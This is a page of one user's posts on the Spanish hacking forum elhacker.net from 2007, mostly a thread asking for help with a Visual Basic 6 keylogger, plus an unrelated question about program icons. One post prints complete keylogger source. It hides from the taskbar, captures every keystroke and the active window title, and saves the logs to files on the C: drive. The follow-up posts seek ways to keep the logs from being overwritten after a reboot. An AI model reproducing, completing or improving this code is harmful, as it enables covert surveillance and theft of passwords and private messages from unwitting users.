elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


  Mostrar Mensajes
Páginas: 1 2 3 4 5 6 [7] 8 9
61  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 23:05 pm
perdon pero la verdad no entiendo el code xD
podrias comentarlo???
gracias por todo lo que me has ayudado! =')
62  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 22:31 pm
nononon! lo que quiero es que haya un nuevo log, x ejemplo si existe log1, que se cree con name log2
63  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 21:59 pm
ise exactamente lo que dijiste.. aora no lo remplaza, sino que agrega lo nuevo alfinal del log,
x ejemplo si el log salia "hola como estas", y lo nuevo es "bien y tu?" kedaria "hola como estasbien y tu?"
tiene que haber una forma de chequear si existe o no.. si existe que le sume 1.. alguien me entiende?xD
64  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 19:39 pm
esque, cambie output, por append como dijiste, i lo probe, i esta ves no lo remplaza.. pero tampoco lo guarda, me podrias decir exactamente como lo pongo?? que al parecer no lo entendi bien  :D
65  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 18:30 pm
aunke ai un pequeño problema.. como el archivo si existe i no lo remplaza, no se crea :S, mi idea es hacer en ves que siempre se sume 1, ponerle la hora y fecha del pc como name, eso nunca se repitiria :P
66  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 18:04 pm
siiiiii! aora lo pruebo! muchas graaacias, justo lo que buscaba
67  Programación / Programación Visual Basic / Re: problema con keylogger en vb6 en: 28 Abril 2007, 17:23 pm
gracias! pero.. de todas maneras sigo sin resolver mi duda  :huh: algien me ayuda plx??? :rolleyes:
gracias de antemano!
68  Programación / Programación Visual Basic / problema con keylogger en vb6 en: 28 Abril 2007, 16:44 pm
hace un tiempo intente hacer un keylogger.. incluso postie para que me ayudaran en como generar los logs..
el problema es que cuando genera el log, ( lo genera con nombre log1, i el siguiente con log2, etc) cuando uno cierra el keylogger y lo inicia de nuevo, empieza a remplazar los logs
(se preguntaran como lo cierra, x ejemplo al apagar el pc)
tiene un funcionamiento simple, tiene un label, que kada 1 seg le suma 1, i al llegar a 1800, genera el log i limpia el text1, esa parte funciona bien
aka va el code

Código:
Dim KTime As Integer
Dim n    As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long

Private LastWindow As String
Private LastHandle As Long
Private dKey(255) As Long
Private Const VK_SHIFT = &H10
Private Const VK_CTRL = &H11
Private Const VK_ALT = &H12
Private Const VK_CAPITAL = &H14
Private ChangeChr(255) As String
Private AltDown As Boolean

Private Sub Form_Load()
KTime = 0
Timer2.Interval = 1000
Form1.Visible = True
App.TaskVisible = False
n = 1
ChangeChr(33) = "[PageUp]"
ChangeChr(34) = "[PageDown]"
ChangeChr(35) = "[End]"
ChangeChr(36) = "[Home]"

ChangeChr(45) = "[Insert]"
ChangeChr(46) = "[Delete]"

ChangeChr(48) = ")"
ChangeChr(49) = "!"
ChangeChr(50) = "@"
ChangeChr(51) = "#"
ChangeChr(52) = "$"
ChangeChr(53) = "%"
ChangeChr(54) = "^"
ChangeChr(55) = "&"
ChangeChr(56) = "*"
ChangeChr(57) = "("

ChangeChr(186) = ";"
ChangeChr(187) = "="
ChangeChr(188) = ","
ChangeChr(189) = "-"
ChangeChr(190) = "."
ChangeChr(191) = "/"

ChangeChr(219) = "["
ChangeChr(220) = "\"
ChangeChr(221) = "]"
ChangeChr(222) = "'"


ChangeChr(86) = ":"
ChangeChr(87) = "+"
ChangeChr(88) = "<"
ChangeChr(89) = "_"
ChangeChr(90) = ">"
ChangeChr(91) = "?"

ChangeChr(119) = "{"
ChangeChr(120) = "|"
ChangeChr(121) = "}"
ChangeChr(122) = """"


ChangeChr(96) = "0"
ChangeChr(97) = "1"
ChangeChr(98) = "2"
ChangeChr(99) = "3"
ChangeChr(100) = "4"
ChangeChr(101) = "5"
ChangeChr(102) = "6"
ChangeChr(103) = "7"
ChangeChr(104) = "8"
ChangeChr(105) = "9"
ChangeChr(106) = "*"
ChangeChr(107) = "+"
ChangeChr(109) = "-"
ChangeChr(110) = "."
ChangeChr(111) = "/"

ChangeChr(192) = "`"
ChangeChr(92) = "~"
End Sub

Function TypeWindow()
Dim Handle As Long
Dim textlen As Long
Dim WindowText As String

Handle = GetForegroundWindow
LastHandle = Handle
textlen = GetWindowTextLength(Handle) + 1

WindowText = Space(textlen)
svar = GetWindowText(Handle, WindowText, textlen)
WindowText = Left(WindowText, Len(WindowText) - 1)

If WindowText <> LastWindow Then
If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf
Text1 = Text1 & "==============================" & vbCrLf & WindowText & vbCrLf & "==============================" & vbCrLf
LastWindow = WindowText
End If
End Function

Private Sub Timer1_Timer()

'when alt is up
If GetAsyncKeyState(VK_ALT) = 0 And AltDown = True Then
AltDown = False
Text1 = Text1 & "[ALTUP]"
End If

'a-z A-Z
For i = Asc("A") To Asc("Z")
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   End If
  Else
   If GetKeyState(VK_CAPITAL) > 0 Then
   Text1 = Text1 & UCase(Chr(i))
   Exit Sub
   Else
   Text1 = Text1 & LCase(Chr(i))
   Exit Sub
   End If
  End If
           
 End If
Next

'1234567890)(*&^%$#@!
For i = 48 To 57
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  Else
  Text1 = Text1 & Chr(i)
  Exit Sub
  End If
 
 End If
Next


';=,-./
For i = 186 To 192
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
 End If
Next


'[\]'
For i = 219 To 222
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_SHIFT) < 0 Then
  Text1 = Text1 & ChangeChr(i - 100)
  Exit Sub
  Else
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
  End If
 
 End If
Next

'num pad
For i = 96 To 111
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 
  If GetAsyncKeyState(VK_ALT) < 0 And AltDown = False Then
  AltDown = True
  Text1 = Text1 & "[ALTDOWN]"
  Else
   If GetAsyncKeyState(VK_ALT) >= 0 And AltDown = True Then
   AltDown = False
   Text1 = Text1 & "[ALTUP]"
   End If
  End If
 
  Text1 = Text1 & ChangeChr(i)
  Exit Sub
 End If
Next

 'for space
 If GetAsyncKeyState(32) = -32767 Then
 TypeWindow
  Text1 = Text1 & " "
 End If

 'for enter
 If GetAsyncKeyState(13) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Enter]"
 End If
 
 'for backspace
 If GetAsyncKeyState(8) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[BackSpace]"
 End If
 
 'for left arrow
 If GetAsyncKeyState(37) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[LeftArrow]"
 End If
 
 'for up arrow
 If GetAsyncKeyState(38) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[UpArrow]"
 End If
 
 'for right arrow
 If GetAsyncKeyState(39) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[RightArrow]"
 End If
 
  'for down arrow
 If GetAsyncKeyState(40) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[DownArrow]"
 End If

 'tab
 If GetAsyncKeyState(9) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Tab]"
 End If
 
  'escape
 If GetAsyncKeyState(27) = -32767 Then
 TypeWindow
  Text1 = Text1 & "[Escape]"
 End If

 'insert, delete
 For i = 45 To 46
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 Text1 = Text1 & ChangeChr(i)
 End If
 Next

 'page up, page down, end, home
 For i = 33 To 36
 If GetAsyncKeyState(i) = -32767 Then
 TypeWindow
 Text1 = Text1 & ChangeChr(i)
 End If
 Next
 
 'left click
 If GetAsyncKeyState(1) = -32767 Then
   If (LastHandle = GetForegroundWindow) And LastHandle <> 0 Then 'we make sure that click is on the page that we are loging bute click log start when we type something in window
   Text1 = Text1 & "[LeftClick]"
   End If
 End If

End Sub

Private Sub Timer2_Timer()
KTime = KTime + 1
If KTime = 1800 Then
Dim fnum As Integer
't = t + 1
' If t < 30 Then Exit Sub
 On Error GoTo Ninguno
    fnum = FreeFile
    Open "C:\log" & n & ".txt" For Output As fnum
        Print #fnum, Text1.Text
  Close fnum
 n = n + 1
' t = 0
Text1.Text = "" 'vacia el textbox
Ninguno:
KTime = 0
End If
Label1.Caption = KTime
End Sub

alguien me podria ayudar???
GraCiaS de AnteManO!
69  Programación / Programación Visual Basic / Re: cambiar icono a mi programa en vb en: 28 Abril 2007, 05:21 am
quien me ayuda!? porfa!
70  Programación / Programación Visual Basic / cambiar icono a mi programa en vb en: 28 Abril 2007, 01:02 am
wenasssS
como hago para cambiarle el icono a un programa que hice en vb???
(no con el reshack ni nada parecido)
el problema es cuando intento poner un icono, en las propiedades del form1, donde sale ICON, lo pongo y sale esto
El valor de la propiedad no es válido
solo me sale ese error con el icono que hice.. ( es .ico, 32x32, i lo ise en paint, poniendo guardar como.. bs.ico)
si pongo otro icono si me funciona.. pero con el que hice no
alguien me podria ayudar??
GraCiaS de AnteManO
Páginas: 1 2 3 4 5 6 [7] 8 9
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines